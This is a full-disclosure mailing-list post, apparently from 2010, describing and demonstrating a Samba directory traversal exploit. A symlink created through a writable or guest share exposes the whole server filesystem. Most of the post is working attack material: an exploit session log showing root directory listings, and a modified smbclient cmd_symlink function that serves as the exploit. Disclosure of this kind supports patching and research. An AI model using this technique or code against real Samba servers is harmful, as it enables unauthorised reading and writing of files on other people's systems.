Samba Remote Directory Traversal
logic fuckup discovered & exploited by Kingcope in 2010

It seems there was a quite similar bug found back in 2004:
http://marc.info/?l=bugtraq&m=109658688505723&w=2

A remote attacker can read, list and retrieve nearly all files on the System remotely.
Required is a valid samba account for a share which is writeable OR
a writeable share which is configured to be a guest account share,
in this case this is a preauth exploit.

The attacker can write for example into /tmp or where the account
he is connecting with has access to (/home/<user> etc).

Exploit session (using the patched smbclient exploit):

smb is a samba user created.

root@nr-pentest:~/Downloads/samba-3.4.5/source3# /usr/local/samba/bin/smbclient -s /etc/samba/smb.conf -Usmb //<host>/testmount/
Enter smb's password: 
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.0]
smb: \> ls
  .                                   D        0  Wed Feb  3 14:27:03 2010
  ..                                  D        0  Wed Feb  3 14:19:13 2010
  test                                D        0  Wed Feb  3 14:19:13 2010
  xxx                                 A     1955  Wed Feb  3 14:22:42 2010

		45503 blocks of size 2097152. 24437 blocks available
smb: \> symlink ../../../../../ foobar
smb: \> ls
  .                                   D        0  Wed Feb  3 14:27:47 2010
  ..                                  D        0  Wed Feb  3 14:19:13 2010
  xxx                                 A     1955  Wed Feb  3 14:22:42 2010
  foobar                              D        0  Mon Feb  1 20:29:12 2010

		45503 blocks of size 2097152. 24437 blocks available
smb: \> ls ..
NT_STATUS_OBJECT_PATH_SYNTAX_BAD listing \..

		45503 blocks of size 2097152. 24437 blocks available
smb: \> cd foobar
smb: \foobar\> ls
  .                                   D        0  Mon Feb  1 20:29:12 2010
  ..                                  D        0  Mon Feb  1 20:29:12 2010
  initrd.img.old                         7646184  Mon Jan 18 13:15:48 2010
  boot.ini                                 18832  Mon Feb  1 20:29:12 2010
  home                                D        0  Mon Jan 18 13:08:24 2010
  initrd.img                             8007195  Thu Jan 21 21:51:26 2010
  .cache                             DH        0  Sat Jan 23 14:19:08 2010
  opt                                 D        0  Sat Jan 30 11:39:59 2010
  lib                                 D        0  Thu Jan 21 21:13:01 2010
  usr                                 D        0  Sun Jan 31 22:08:11 2010
  .libs                              DH        0  Thu Jan 21 12:30:48 2010
  var                                 D        0  Sun Jan 31 21:14:42 2010
  bin                                 D        0  Mon Jan 18 13:31:14 2010
  selinux                             D        0  Tue Oct 20 01:05:22 2009
  root                                D        0  Tue Feb  2 19:43:59 2010
  vmlinuz.old                            3890400  Fri Oct 16 20:03:49 2009
  vmlinuz                                3890560  Thu Dec 10 20:33:26 2009
  etc                                 D        0  Wed Feb  3 14:17:29 2010
  srv                                 D        0  Sat Jan 23 20:17:29 2010
  proc                               DR        0  Wed Feb  3 14:10:41 2010
  dev                                 D        0  Wed Feb  3 14:11:02 2010
  boot                                D        0  Thu Jan 21 21:51:26 2010
  mnt                                 D        0  Sat Jan 23 19:26:23 2010
  media                               D        0  Fri Jan 29 08:32:31 2010
  cdrom                               D        0  Mon Jan 18 12:40:11 2010
  tmp                                 D        0  Wed Feb  3 14:26:20 2010
  sbin                                D        0  Thu Jan 21 21:50:58 2010
  lost+found                          D        0  Mon Jan 18 12:39:57 2010
  sys                                 D        0  Wed Feb  3 14:10:41 2010

		45503 blocks of size 2097152. 24437 blocks available
smb: \foobar\> 

put and get works in the folder now!

list open shares, this is normal operation mode not an exploit:

root@nr-pentest:~/Downloads/samba-3.4.5/source3/client# /usr/local/samba/bin/smbclient -s /etc/samba/smb.conf -L //<host>/
Enter root's password: 
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.0]

	Sharename       Type      Comment
	---------       ----      -------
	testmount       Disk      							// < this share is writable and exploitable!!
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (nr-pentest server (Samba, Ubuntu))
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.4.0]

	Server               Comment
	---------            -------
	NR-PENTEST           nr-pentest server (Samba, Ubuntu)

	Workgroup            Master
	---------            -------
	WORKGROUP            NR-PENTEST


smbclient patch (exploit):

samba-3.4.5/source3/client/client.c
/****************************************************************************
 UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
        TALLOC_CTX *ctx = talloc_tos();
        char *oldname = NULL;
        char *newname = NULL;
        char *buf = NULL;
        char *buf2 = NULL;
        char *targetname = NULL;
        struct cli_state *targetcli;

        if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
            !next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
                d_printf("symlink <oldname> <newname>\n");
                return 1;
        }
        oldname = talloc_asprintf(ctx,			
                        "%s",				// << HERE modified
                        buf);				
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        "%s",				// << HERE modified
                        buf2);
        if (!newname) {
                return 1;
        }
/* ORIGINAL SMBCLIENT SOURCE LINES TO BE MODIFIED (SEE ABOVE).
      oldname = talloc_asprintf(ctx,
                        "%s%s",				// < modified (see above)
                        client_get_cur_dir(),		// < removed (see above)
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        "%s%s",				// < modified (see above)
                        client_get_cur_dir(),		// < removed (see above)
                        buf2);
        if (!newname) {
                return 1;
        }
----------------------------------------------*/

        if (!cli_resolve_path(ctx, "", auth_info, cli, oldname, &targetcli, &targetname)) {
                d_printf("link %s: %s\n", oldname, cli_errstr(cli));
                return 1;

        }

        if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
                d_printf("Server doesn't support UNIX CIFS calls.\n");
                return 1;
        }

        if (!cli_unix_symlink(targetcli, targetname, newname)) {
                d_printf("%s symlinking files (%s -> %s)\n",
                        cli_errstr(targetcli), newname, targetname);
                return 1;
        }

        return 0;
}


// Cheers,
// kcope

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/